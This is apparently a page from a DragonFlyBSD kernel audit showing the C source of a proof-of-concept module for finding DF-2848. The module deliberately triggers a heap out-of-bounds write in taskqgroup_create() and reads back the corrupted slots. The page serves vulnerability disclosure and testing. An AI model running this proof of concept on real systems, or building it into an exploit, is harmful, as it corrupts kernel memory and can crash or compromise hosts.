DragonFlyBSD Kernel Audit
DF-2848 / gtq_oob.c
← back to finding ↓ download raw
/*
 * DF-2848 PoC — taskqgroup_create() unvalidated `cnt` writes
 * struct taskqgroup_cpu slots past the fixed tqg_queue[MAXCPU] array,
 * i.e. past the end of the kmalloc'd `struct taskqgroup`.
 *
 * struct taskqgroup (sys/kern/subr_gtaskqueue.c:573-578) is:
 *	struct taskqgroup_cpu tqg_queue[MAXCPU];   <- first member, offset 0
 *	struct lock tqg_lock; const char *tqg_name; int tqg_cnt;
 *
 * taskqgroup_create() kmallocs sizeof(struct taskqgroup) (the array is the
 * bulk of the object) and then, for every i < cnt, calls
 * taskqgroup_cpu_create(qgroup, i, cpu) which does:
 *	LIST_INIT(&qcpu->tgc_tasks);		(8-byte NULL store)
 *	qcpu->tgc_taskq = gtaskqueue_create_fast(...) (8-byte heap ptr store)
 *	qcpu->tgc_cpu = cpu;			(4-byte store)
 * with qcpu = &qgroup->tqg_queue[i] and NO bound check on i vs MAXCPU.
 *
 * This module calls taskqgroup_create("gtq_oob", MAXCPU + 16, 1) and reads
 * the slots back.  The allocation is M_ZERO; any slot at an index whose
 * byte offset is provably >= sizeof(struct taskqgroup) (array + tail,
 * tail upper-bounded below) that contains a non-NULL tgc_taskq / non-zero
 * tgc_cpu was written *beyond the heap object* by the kernel.
 *
 * The readback uses a layout replica (valid on x86_64: each
 * struct taskqgroup_cpu is 24 bytes: LIST_HEAD ptr, gtaskqueue ptr,
 * int, int) because `struct taskqgroup` is opaque outside
 * subr_gtaskqueue.c.  Only the leading array is probed, which is at
 * offset 0 of the real object, so replica offsets are exact.
 *
 * Build:  see build.sh   Run:  see run.sh (kldload as root on the guest)
 */
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/lock.h>
#include <sys/gtaskqueue.h>

/* layout replica of the leading tqg_queue[MAXCPU] array */
struct tqg_slot {
	void	*tgc_tasks_first;	/* LIST_HEAD(, grouptask) */
	void	*tgc_taskq;
	int	tgc_cpu;
	int	pad;
};
struct tqg_probe {
	struct tqg_slot	q[MAXCPU];
};

static struct taskqgroup *qg;

static int
gtq_oob_ev(module_t mod, int type, void *data)
{
	struct tqg_probe *p;
	size_t alloc_upper;	/* upper bound of sizeof(struct taskqgroup) */
	int i, cnt = MAXCPU + 16;

	switch (type) {
	case MOD_LOAD:
		kprintf("gtq_oob: MAXCPU=%d slot_size=%zu array_bytes=%zu\n",
		    MAXCPU, sizeof(struct tqg_slot),
		    sizeof(struct tqg_probe));
		/*
		 * Upper bound on the object: array + lock + name ptr + cnt
		 * + alignment slop.  Slots starting at/after this offset are
		 * provably outside the kmalloc'd object.
		 */
		alloc_upper = sizeof(struct tqg_probe) + sizeof(struct lock) +
		    sizeof(void *) + sizeof(int) + 64 /* alignment slop */;
		kprintf("gtq_oob: sizeof(struct taskqgroup) <= %zu bytes "
		    "(kmalloc size)\n", alloc_upper);

		kprintf("gtq_oob: calling taskqgroup_create(cnt=%d)...\n", cnt);
		qg = taskqgroup_create("gtq_oob", cnt, 1);
		if (qg == NULL) {
			kprintf("gtq_oob: taskqgroup_create returned NULL\n");
			return (ENOMEM);
		}
		p = (struct tqg_probe *)qg;
		kprintf("gtq_oob: create returned %p; probing OOB slots...\n", qg);
		for (i = MAXCPU; i < cnt; i++) {
			size_t off = (size_t)((char *)&p->q[i] - (char *)p);
			kprintf("gtq_oob: slot[%d] off=%zu%s tgc_taskq=%p "
			    "tgc_cpu=%d list_first=%p\n",
			    i, off,
			    (off >= alloc_upper) ? " [PAST ALLOC]" : "",
			    p->q[i].tgc_taskq, p->q[i].tgc_cpu,
			    p->q[i].tgc_tasks_first);
		}
		kprintf("gtq_oob: any [PAST ALLOC] slot with non-NULL "
		    "tgc_taskq or non-zero tgc_cpu is a heap OOB WRITE proof\n");
		return (0);
	case MOD_UNLOAD:
		/* taskqgroup_destroy() is an empty stub: everything leaks. */
		return (0);
	default:
		break;
	}
	return (EOPNOTSUPP);
}
DEV_MODULE(gtq_oob, gtq_oob_ev, NULL);